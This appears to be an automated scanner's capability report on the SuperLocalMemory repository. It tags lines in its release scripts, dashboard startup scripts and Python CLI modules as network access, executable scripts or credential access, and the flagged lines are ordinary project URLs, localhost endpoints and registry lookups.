REGISTRY=https://registry.modelcontextprotocol.io - Network accessline 49
expected="$(publisher_sha256 "$platform")" || slm_die "no pinned mcp-publisher for $platform" slm_tmpdir dir curl -fsSL --retry 3 -o "$dir/p.tar.gz" \ - Network accessline 50
slm_tmpdir dir curl -fsSL --retry 3 -o "$dir/p.tar.gz" \ "https://github.com/modelcontextprotocol/registry/releases/download/v$MCP_PUBLISHER_VERSION/mcp-publisher_$platform.tar.gz" - Network accessline 51
curl -fsSL --retry 3 -o "$dir/p.tar.gz" \ - Network accessline 52
"https://github.com/modelcontextprotocol/registry/releases/download/v$MCP_PUBLISHER_VERSION/mcp-publisher_$platform.tar.gz" - Network accessline 78
encoded="${SERVER_NAME//\//%2F}" code="$(slm_http_status "$REGISTRY/v0/servers/$encoded/versions/$SLM_VERSION")" - Network accessline 79
code="$(slm_http_status "$REGISTRY/v0/servers/$encoded/versions/$SLM_VERSION")"
scripts/release/openvsx.sh
scripts/release/release_tools.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 27
MANUAL_LISTINGS: tuple[tuple[str, str], ...] = ( ("Claude plugin directory: approve the new version (auto-publish is off)", "https://claude.ai/directory/manage"), - Network accessline 28
("Claude plugin directory: approve the new version (auto-publish is off)", "https://claude.ai/directory/manage"), ("Cursor Marketplace: confirm the listing picked up the release", - Network accessline 29
"https://claude.ai/directory/manage"), - Network accessline 30
("Cursor Marketplace: confirm the listing picked up the release", "https://cursor.com/marketplace/publish"), ("VS Code Marketplace: publish the .vsix attached to the GitHub release", - Network accessline 31
"https://cursor.com/marketplace/publish"), - Network accessline 32
("VS Code Marketplace: publish the .vsix attached to the GitHub release", "https://marketplace.visualstudio.com/manage"), ("Antigravity listing form: update the version if the form asks for one", - Network accessline 33
"https://marketplace.visualstudio.com/manage"), - Network accessline 37
"(request link not recorded in the repository)"), ("Kilo Code marketplace PR (mcps/superlocalmemory)", "https://github.com/Kilo-Org/kilo-marketplace"), - Network accessline 38
("Kilo Code marketplace PR (mcps/superlocalmemory)", "https://github.com/Kilo-Org/kilo-marketplace"), ("Cline MCP marketplace issue", - Network accessline 39
"https://github.com/Kilo-Org/kilo-marketplace"), - Network accessline 40
("Cline MCP marketplace issue", "https://github.com/cline/mcp-marketplace"), ("OpenCode: awesome-opencode PR", - Network accessline 41
"https://github.com/cline/mcp-marketplace"), - Network accessline 42
("OpenCode: awesome-opencode PR", "https://github.com/awesome-opencode/awesome-opencode"), ("DeepSeek Harness: awesome-dsh-plugin PR", - Network accessline 43
"https://github.com/awesome-opencode/awesome-opencode"), - Network accessline 44
("DeepSeek Harness: awesome-dsh-plugin PR", "https://github.com/awesome-dsh-plugin/awesome-dsh-plugin"), ("xAI plugin marketplace PR", - Network accessline 45
"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin"), - Network accessline 46
("xAI plugin marketplace PR", "https://github.com/xai-org/plugin-marketplace/pull/1455"), ) - Network accessline 47
"https://github.com/xai-org/plugin-marketplace/pull/1455"),
scripts/release_evidence.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 100
serial = uuid.uuid5( uuid.NAMESPACE_URL, f"https://github.com/qualixar/superlocalmemory/{commit}/{version}", - Network accessline 101
uuid.NAMESPACE_URL, f"https://github.com/qualixar/superlocalmemory/{commit}/{version}", ) - Network accessline 102
f"https://github.com/qualixar/superlocalmemory/{commit}/{version}",
scripts/release_manifest.py
- Executable scriptline 1
Executable file - Network accessline 14
{ "name": "slm-hook-macos-arm64.tar.gz", "url": "https://.../manifest.json", - Network accessline 15
"name": "slm-hook-macos-arm64.tar.gz", "url": "https://.../manifest.json", "size_bytes": 5312000, - Network accessline 16
"url": "https://.../manifest.json", - Network accessline 47
DEFAULT_BASE_URL = ( "https://github.com/qualixar/superlocalmemory/releases/download" - Network accessline 48
"https://github.com/qualixar/superlocalmemory/releases/download"
scripts/release_registry_guard.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 26
PACKAGE_NAME = "superlocalmemory" PYPI_URL = "https://pypi.org/pypi/{name}/{version}/json" - Network accessline 27
PYPI_URL = "https://pypi.org/pypi/{name}/{version}/json" - Network accessline 28
NPM_URL = "https://registry.npmjs.org/{name}/{version}" - Network accessline 38
def _registry_payload(url: str, *, timeout: float = 15.0) -> dict | None: request = urllib.request.Request(url, headers={"User-Agent": USER_AGENT}) - Network accessline 39
request = urllib.request.Request(url, headers={"User-Agent": USER_AGENT}) - Network accessline 40
try: with urllib.request.urlopen(request, timeout=timeout) as response: payload = json.load(response) - Network accessline 41
with urllib.request.urlopen(request, timeout=timeout) as response: - Access to secretsline 189
[Credential-related source omitted]
scripts/run-ui-tests.mjs
- Executable scriptline 1
Executable file
scripts/start-dashboard.ps1
- Network accessline 1
# ============================================================================ # SuperLocalMemory - Dashboard Startup Script (PowerShell) # Starts the web dashboard on http://localhost:8765 - Executable scriptline 1
Executable file - Network accessline 2
# SuperLocalMemory - Dashboard Startup Script (PowerShell) # Starts the web dashboard on http://localhost:8765 # Copyright (c) 2026 Varun Pratap Bhardwaj - Network accessline 3
# Starts the web dashboard on http://localhost:8765 - Network accessline 22
} catch { Write-Host "ERROR: Python not found in PATH" -ForegroundColor Red Write-Host "Install Python 3.8+ from https://www.python.org/downloads/" -ForegroundColor Yellow - Network accessline 23
Write-Host "ERROR: Python not found in PATH" -ForegroundColor Red Write-Host "Install Python 3.8+ from https://www.python.org/downloads/" -ForegroundColor Yellow exit 1 - Network accessline 24
Write-Host "Install Python 3.8+ from https://www.python.org/downloads/" -ForegroundColor Yellow - Network accessline 43
Write-Host "Starting dashboard server..." -ForegroundColor Green Write-Host "" Write-Host " Dashboard: http://localhost:8765" - Network accessline 44
Write-Host "" Write-Host " Dashboard: http://localhost:8765" Write-Host " API Docs: http://localhost:8765/docs" - Network accessline 45
Write-Host " Dashboard: http://localhost:8765" - Network accessline 46
Write-Host " API Docs: http://localhost:8765/docs"
scripts/start-dashboard.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 2
# ============================================================================ # SuperLocalMemory - Dashboard Startup Script # Starts the web dashboard on http://localhost:8765 - Network accessline 3
# SuperLocalMemory - Dashboard Startup Script # Starts the web dashboard on http://localhost:8765 # Copyright (c) 2026 Varun Pratap Bhardwaj - Network accessline 4
# Starts the web dashboard on http://localhost:8765 - Network accessline 32
echo "🚀 Starting dashboard server..." echo "" echo " Dashboard: http://localhost:8765" - Network accessline 33
echo "" echo " Dashboard: http://localhost:8765" echo " API Docs: http://localhost:8765/docs" - Network accessline 34
echo " Dashboard: http://localhost:8765" - Network accessline 35
echo " API Docs: http://localhost:8765/docs"
scripts/sync-wiki.ps1
- Executable scriptline 1
Executable file - Network accessline 13
$WIKI_CONTENT_DIR = Join-Path $REPO_DIR "wiki-content" $WIKI_REPO_DIR = Join-Path $env:TEMP "superlocalmemory.wiki" $WIKI_REPO_URL = "https://github.com/qualixar/superlocalmemory.wiki.git" - Network accessline 15
$WIKI_REPO_URL = "https://github.com/qualixar/superlocalmemory.wiki.git" - Network accessline 120
Write-Host "╔══════════════════════════════════════════════════════════════╗" Write-Host "║ ✅ Wiki synced successfully! ║" Write-Host "║ View at: https://github.com/qualixar/superlocalmemory/wiki║" - Network accessline 121
Write-Host "║ ✅ Wiki synced successfully! ║" Write-Host "║ View at: https://github.com/qualixar/superlocalmemory/wiki║" Write-Host "╚══════════════════════════════════════════════════════════════╝" - Network accessline 122
Write-Host "║ View at: https://github.com/qualixar/superlocalmemory/wiki║"
scripts/sync-wiki.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 11
WIKI_CONTENT_DIR="${REPO_DIR}/wiki-content" WIKI_REPO_DIR="/tmp/superlocalmemory.wiki" WIKI_REPO_URL="https://github.com/qualixar/superlocalmemory.wiki.git" - Network accessline 13
WIKI_REPO_URL="https://github.com/qualixar/superlocalmemory.wiki.git" - Network accessline 33
else echo "📥 Cloning wiki repository..." git clone "${WIKI_REPO_URL}" "${WIKI_REPO_DIR}" - Network accessline 34
echo "📥 Cloning wiki repository..." git clone "${WIKI_REPO_URL}" "${WIKI_REPO_DIR}" cd "${WIKI_REPO_DIR}" - Network accessline 35
git clone "${WIKI_REPO_URL}" "${WIKI_REPO_DIR}" - Dangerous shell operationline 51
rm -f "${WIKI_REPO_DIR}/4-Layer-Architecture.md" - Network accessline 79
echo "╔══════════════════════════════════════════════════════════════╗" echo "║ ✅ Wiki synced successfully! ║" echo "║ View at: https://github.com/qualixar/superlocalmemory/wiki║" - Network accessline 80
echo "║ ✅ Wiki synced successfully! ║" echo "║ View at: https://github.com/qualixar/superlocalmemory/wiki║" echo "╚══════════════════════════════════════════════════════════════╝" - Network accessline 81
echo "║ View at: https://github.com/qualixar/superlocalmemory/wiki║"
scripts/test-npm-package.ps1
- Executable scriptline 1
Executable file
scripts/test-npm-package.sh
scripts/verify-install.ps1
- Executable scriptline 1
Executable file - Network accessline 152
if (Test-Path $apiServerPath) { Write-Host " Start: python $apiServerPath" Write-Host " URL: http://127.0.0.1:8000" - Network accessline 153
Write-Host " Start: python $apiServerPath" Write-Host " URL: http://127.0.0.1:8000" } - Network accessline 154
Write-Host " URL: http://127.0.0.1:8000"
scripts/verify-install.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 4
# Copyright (c) 2026 Varun Pratap Bhardwaj # Licensed under AGPL-3.0-or-later - see LICENSE file # Repository: https://github.com/qualixar/superlocalmemory - Network accessline 5
# Licensed under AGPL-3.0-or-later - see LICENSE file # Repository: https://github.com/qualixar/superlocalmemory # ============================================================================ - Network accessline 6
# Repository: https://github.com/qualixar/superlocalmemory - Network accessline 141
if [ -f "${INSTALL_DIR}/api_server.py" ]; then echo " Start: python3 ~/.superlocalmemory/api_server.py" echo " URL: http://127.0.0.1:8000" - Network accessline 142
echo " Start: python3 ~/.superlocalmemory/api_server.py" echo " URL: http://127.0.0.1:8000" fi - Network accessline 143
echo " URL: http://127.0.0.1:8000"
scripts/verify-v27.ps1
- Executable scriptline 1
Executable file - Network accessline 3
# Copyright (c) 2026 Varun Pratap Bhardwaj # Licensed under AGPL-3.0-or-later - see LICENSE file # Repository: https://github.com/qualixar/superlocalmemory - Network accessline 4
# Licensed under AGPL-3.0-or-later - see LICENSE file # Repository: https://github.com/qualixar/superlocalmemory # - Network accessline 5
# Repository: https://github.com/qualixar/superlocalmemory
scripts/verify-v27.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 4
# Copyright (c) 2026 Varun Pratap Bhardwaj # Licensed under AGPL-3.0-or-later - see LICENSE file # Repository: https://github.com/qualixar/superlocalmemory - Network accessline 5
# Licensed under AGPL-3.0-or-later - see LICENSE file # Repository: https://github.com/qualixar/superlocalmemory # - Network accessline 6
# Repository: https://github.com/qualixar/superlocalmemory
server.json
- Network accessline 1
{ "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - Network accessline 2
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - Network accessline 37
"repository": { "source": "github", "url": "https://github.com/qualixar/superlocalmemory" - Network accessline 38
"source": "github", "url": "https://github.com/qualixar/superlocalmemory" }, - Network accessline 39
"url": "https://github.com/qualixar/superlocalmemory" - Network accessline 41
"title": "SuperLocalMemory", "version": "4.2.13", "websiteUrl": "https://superlocalmemory.com" - Network accessline 42
"version": "4.2.13", "websiteUrl": "https://superlocalmemory.com" } - Network accessline 43
"websiteUrl": "https://superlocalmemory.com"
src/superlocalmemory/__init__.py
- Executable scriptline 1
Executable file - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted]
src/superlocalmemory/access/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/access/rbac.py
src/superlocalmemory/access/rbac_admin.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/attribution/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/attribution/signer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 28
[Credential-related source omitted] - Network accessline 76
_PLATFORM: str = "Qualixar" _AUTHOR: str = "Varun Pratap Bhardwaj" _AUTHOR_URL: str = "https://varunpratap.com" - Network accessline 77
_AUTHOR: str = "Varun Pratap Bhardwaj" _AUTHOR_URL: str = "https://varunpratap.com" _LICENSE: str = "AGPL-3.0-or-later" - Network accessline 78
_AUTHOR_URL: str = "https://varunpratap.com"
src/superlocalmemory/attribution/watermark.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/brain/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/brain/truth.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cache/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """A local derivation cache: repeat work for the same content costs nothing.""" - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cache/factory.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Where the cache lives, which backend is used, and the model-change hook.""" - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 36
[Credential-related source omitted]
src/superlocalmemory/cache/keys.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """What a cached derivation is keyed by: the content, who derived it, and how.""" - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cache/lru.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """LRU cache with optional TTL for search-result caching. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cache/port.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """The small public port every cache backend implements.""" - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cache/sqlite_store.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """The on-disk derivation cache: one SQLite file, content-addressed, never a source of truth.""" - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 53
[Credential-related source omitted]
src/superlocalmemory/cache/tiered.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Memory in front of disk: the common repeat is answered without touching SQLite.""" - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/__main__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/_lazy_init.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 13
[Credential-related source omitted]
src/superlocalmemory/cli/backup_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/cache_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/calibration_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/commands.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 1214
from superlocalmemory.cli.daemon import _get_port port = _get_port() url = f"http://localhost:{port}" - Network accessline 1215
port = _get_port() url = f"http://localhost:{port}" webbrowser.open(url) - Network accessline 1216
url = f"http://localhost:{port}" - Access to secretsline 1624
[Credential-related source omitted] - Access to secretsline 1647
[Credential-related source omitted] - Access to secretsline 2782
[Credential-related source omitted] - Network accessline 3158
print("Topics: slm help modes | slm help config | " "slm help self-heal") print("Docs: https://superlocalmemory.com") - Network accessline 3159
"slm help self-heal") print("Docs: https://superlocalmemory.com") from superlocalmemory.cli.star_prompt import print_help_footer - Network accessline 3160
print("Docs: https://superlocalmemory.com") - Network accessline 3440
else: _check("Python", "FAIL", f"{v.major}.{v.minor}.{v.micro} (need >= 3.12)", "Install Python 3.12+ from https://python.org/downloads/") - Network accessline 3442
"Install Python 3.12+ from https://python.org/downloads/") - Network accessline 3629
import httpx try: resp = httpx.get( - Network accessline 3630
try: resp = httpx.get( f"{config.llm.api_base}/api/tags", timeout=5.0, - Network accessline 3631
resp = httpx.get( - Access to secretsline 3651
[Credential-related source omitted] - Access to secretsline 3655
[Credential-related source omitted] - Access to secretsline 4347
[Credential-related source omitted] - Access to secretsline 4520
[Credential-related source omitted] - Network accessline 4559
url = f"http://localhost:{port}" - Network accessline 4579
# (server/routes/helpers.py) already restricts every profile it will # accept to ^[a-zA-Z0-9_-]+$; reject anything else here too, before it # is interpolated into a path, rather than letting http.client discover - Network accessline 4580
# accept to ^[a-zA-Z0-9_-]+$; reject anything else here too, before it # is interpolated into a path, rather than letting http.client discover # the problem. - Network accessline 4581
# is interpolated into a path, rather than letting http.client discover - Access to secretsline 4797
[Credential-related source omitted]
src/superlocalmemory/cli/compress_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/connect_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/context_commands.py
src/superlocalmemory/cli/corrections_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/daemon.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 172
try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as candidate: - Network accessline 173
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as candidate: - Network accessline 194
try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as candidate: - Network accessline 195
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as candidate: - Network accessline 360
expected_url = f"http://127.0.0.1:{port}/health" response = urllib.request.urlopen( - Network accessline 361
response = urllib.request.urlopen( - Network accessline 715
import urllib.error import urllib.request url = f"http://127.0.0.1:{port}{path}" - Network accessline 717
url = f"http://127.0.0.1:{port}{path}" - Network accessline 747
headers.update(forwarded_headers(capability)) req = urllib.request.Request(url, data=data, headers=headers, method=method) - Network accessline 748
req = urllib.request.Request(url, data=data, headers=headers, method=method) - Access to secretsline 911
[Credential-related source omitted] - Access to secretsline 1033
[Credential-related source omitted] - Access to secretsline 1034
[Credential-related source omitted]
src/superlocalmemory/cli/daemon_diagnosis.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 118
"message": ( f"the owned daemon (pid {descriptor.pid}) is running but did " f"not answer http://127.0.0.1:{descriptor.port}/health within " - Network accessline 119
f"the owned daemon (pid {descriptor.pid}) is running but did " f"not answer http://127.0.0.1:{descriptor.port}/health within " f"{probe_timeout:g}s." - Network accessline 120
f"not answer http://127.0.0.1:{descriptor.port}/health within "
src/superlocalmemory/cli/daemon_errors.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/daemon_paths.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Network accessline 7
Issue #148: ``slm ops resolve`` interpolated a raw CLI argument into ``f"/operations/{operation_id}/resolve"`` and handed that straight to ``http.client``. A non-ASCII ID (a pasted placeholder, a typo) survives - Network accessline 8
``f"/operations/{operation_id}/resolve"`` and handed that straight to ``http.client``. A non-ASCII ID (a pasted placeholder, a typo) survives string formatting untouched, then blows up deep inside ``http.client``'s - Network accessline 9
``http.client``. A non-ASCII ID (a pasted placeholder, a typo) survives - Network accessline 10
string formatting untouched, then blows up deep inside ``http.client``'s
src/superlocalmemory/cli/daemon_start_error.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/daemon_startup.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted]
src/superlocalmemory/cli/db_migrate.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/deployment.py
- Executable scriptline 1
Executable file - Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted]
src/superlocalmemory/cli/diagnostics_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/doctor_daemon.py
- Executable scriptline 1
Executable file - Access to secretsline 145
[Credential-related source omitted] - Network accessline 146
if user_session: headers["X-SLM-User-Session"] = user_session request = urllib.request.Request(f"http://127.0.0.1:{record.port}{path}", headers=headers) - Network accessline 147
headers["X-SLM-User-Session"] = user_session request = urllib.request.Request(f"http://127.0.0.1:{record.port}{path}", headers=headers) try: - Network accessline 148
request = urllib.request.Request(f"http://127.0.0.1:{record.port}{path}", headers=headers)
src/superlocalmemory/cli/doctor_hook_spool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/doctor_hosts.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 47
[Credential-related source omitted]
src/superlocalmemory/cli/doctor_mcp.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/doctor_mesh.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/doctor_models.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/doctor_ops.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/doctor_quantization.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/doctor_refile.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/doctor_repairs.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/embedder_cmd.py
src/superlocalmemory/cli/enrich_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/escape_hatch.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/evidence_cmd.py
- Executable scriptline 1
Executable file
src/superlocalmemory/cli/features_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 59
def fetch(args: Namespace) -> dict[str, Any]: - Network accessline 75
def cmd_features(args: Namespace) -> None: data = fetch(args) - Network accessline 76
data = fetch(args)
src/superlocalmemory/cli/fidelity_cmd.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/cli/gdpr_cmd.py
- Network accessline 1
